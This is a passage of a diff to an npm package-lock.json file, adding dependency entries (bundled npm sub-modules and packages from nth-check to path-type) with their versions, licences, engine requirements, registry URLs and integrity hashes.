"1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/promise-call-limit": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/promise-inflight": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/promise-retry": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "err-code": "^2.0.2", + "retry": "^0.12.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/promzard": { + "version": "0.3.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "read": "1" + } + }, + "node_modules/npm/node_modules/psl": { + "version": "1.8.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/punycode": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/qrcode-terminal": { + "version": "0.12.0", + "dev": true, + "inBundle": true, + "bin": { + "qrcode-terminal": "bin/qrcode-terminal.js" + } + }, + "node_modules/npm/node_modules/qs": { + "version": "6.5.2", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/npm/node_modules/read": { + "version": "1.0.7", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "mute-stream": "~0.0.4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/read-cmd-shim": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/read-package-json": { + "version": "4.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.1", + "json-parse-even-better-errors": "^2.3.0", + "normalize-package-data": "^3.0.0", + "npm-normalize-package-bin": "^1.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/read-package-json-fast": { + "version": "2.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "json-parse-even-better-errors": "^2.3.0", + "npm-normalize-package-bin": "^1.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/readable-stream": { + "version": "3.6.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/readdir-scoped-modules": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "debuglog": "^1.0.1", + "dezalgo": "^1.0.0", + "graceful-fs": "^4.1.2", + "once": "^1.3.0" + } + }, + "node_modules/npm/node_modules/request": { + "version": "2.88.2", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/request/node_modules/form-data": { + "version": "2.3.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/npm/node_modules/request/node_modules/tough-cookie": { + "version": "2.5.0", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "dependencies": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/retry": { + "version": "0.12.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/npm/node_modules/rimraf": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/safe-buffer": { + "version": "5.2.1", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/safer-buffer": { + "version": "2.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/semver": { + "version": "7.3.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/set-blocking": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/signal-exit": { + "version": "3.0.3", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/smart-buffer": { + "version": "4.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/npm/node_modules/socks": { + "version": "2.6.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ip": "^1.1.5", + "smart-buffer": "^4.1.0" + }, + "engines": { + "node": ">= 10.13.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/npm/node_modules/socks-proxy-agent": { + "version": "6.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "agent-base": "^6.0.2", + "debug": "^4.3.1", + "socks": "^2.6.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/spdx-correct": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/npm/node_modules/spdx-exceptions": { + "version": "2.3.0", + "dev": true, + "inBundle": true, + "license": "CC-BY-3.0" + }, + "node_modules/npm/node_modules/spdx-expression-parse": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/npm/node_modules/spdx-license-ids": { + "version": "3.0.10", + "dev": true, + "inBundle": true, + "license": "CC0-1.0" + }, + "node_modules/npm/node_modules/sshpk": { + "version": "1.16.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + }, + "bin": { + "sshpk-conv": "bin/sshpk-conv", + "sshpk-sign": "bin/sshpk-sign", + "sshpk-verify": "bin/sshpk-verify" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/ssri": { + "version": "8.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.1.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/string_decoder": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/npm/node_modules/string-width": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/string-width/node_modules/ansi-regex": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/string-width/node_modules/strip-ansi": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/stringify-package": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/strip-ansi": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/supports-color": { + "version": "7.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/tar": { + "version": "6.1.11", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^3.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/text-table": { + "version": "0.2.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/tiny-relative-date": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/treeverse": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/tunnel-agent": { + "version": "0.6.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/tweetnacl": { + "version": "0.14.5", + "dev": true, + "inBundle": true, + "license": "Unlicense" + }, + "node_modules/npm/node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/npm/node_modules/unique-filename": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "unique-slug": "^2.0.0" + } + }, + "node_modules/npm/node_modules/unique-slug": { + "version": "2.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "imurmurhash": "^0.1.4" + } + }, + "node_modules/npm/node_modules/uri-js": { + "version": "4.4.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/npm/node_modules/util-deprecate": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/uuid": { + "version": "3.4.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/npm/node_modules/validate-npm-package-license": { + "version": "3.0.4", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/npm/node_modules/validate-npm-package-name": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "builtins": "^1.0.3" + } + }, + "node_modules/npm/node_modules/verror": { + "version": "1.10.0", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "node_modules/npm/node_modules/walk-up-path": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/wcwidth": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "defaults": "^1.0.3" + } + }, + "node_modules/npm/node_modules/which": { + "version": "2.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/npm/node_modules/wide-align": { + "version": "1.1.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "string-width": "^1.0.2 || 2" + } + }, + "node_modules/npm/node_modules/wrappy": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/write-file-atomic": { + "version": "3.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/npm/node_modules/yallist": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/nth-check": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.0.1.tgz", + "integrity": "sha512-it1vE95zF6dTT9lBsYbxvqh0Soy4SPowchj0UBGj/V6cTPnXXtQOPUbhZ6CmGzAD/rW22LQK6E96pcdJXk4A4w==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/null-loader": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/null-loader/-/null-loader-0.1.1.tgz", + "integrity": "sha1-F76av80/8OFRL2/Er8sfUDk3j64=", + "dev": true + }, + "node_modules/num2fraction": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz", + "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=", + "dev": true + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.2.0.tgz", + "integrity": "sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-inspect": { + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.0.tgz", + "integrity": "sha512-Ho2z80bVIvJloH+YzRmpZVQe87+qASmBUKZDWgx9cu+KDrX2ZDH/3tMy+gXbZETVGs2M8YdxObOh7XAtim9Y0g==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-is": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", + "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.entries": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz", + "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz", + "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.hasown": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.0.tgz", + "integrity": "sha512-MhjYRfj3GBlhSkDHo6QmvgjRLXQ2zndabdf3nX0yTyZK9rPfxb6uRpAac8HXNLy1GpqWtZ81Qh4v3uOls2sRAg==", + "dev": true, + "dependencies": { + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.values": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz", + "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", + "dev": true + }, + "node_modules/on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", + "dev": true, + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/open/-/open-8.4.0.tgz", + "integrity": "sha512-XgFPPM+B28FtCCgSb9I+s9szOC1vZRSwgWsRUA5ylIxRTgKozqjOCrVOqGsYABPYK5qnfqClxZTFBa8PKt2v6Q==", + "dev": true, + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/optionator": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", + "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "dev": true, + "dependencies": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.6", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "word-wrap": "~1.2.3" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/os-tmpdir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", + "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-retry": { + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.1.tgz", + "integrity": "sha512-e2xXGNhZOZ0lfgR9kL34iGlU8N/KO0xZnQxVEwdeOvpqNDQfdnxIYizvWtK8RglUa3bGqI8g0R/BdfzLMxRkiA==", + "dev": true, + "dependencies": { + "@types/retry": "^0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/param-case": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-2.1.1.tgz", + "integrity": "sha1-35T9jPZTHs915r75oIWPvHK+Ikc=", + "dev": true, + "dependencies": { + "no-case": "^2.2.0" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-entities": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-2.0.0.tgz", + "integrity": "sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==", + "dev": true, + "dependencies": { + "character-entities": "^1.0.0", + "character-entities-legacy": "^1.0.0", + "character-reference-invalid": "^1.0.0", + "is-alphanumerical": "^1.0.0", + "is-decimal": "^1.0.0", + "is-hexadecimal": "^1.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/pascal-case/node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/pascal-case/node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/pascal-case/node_modules/tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "node_modules/path-to-regexp": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz", + "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", + "dependencies": { + "isarray": "0.0.1" + } + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": 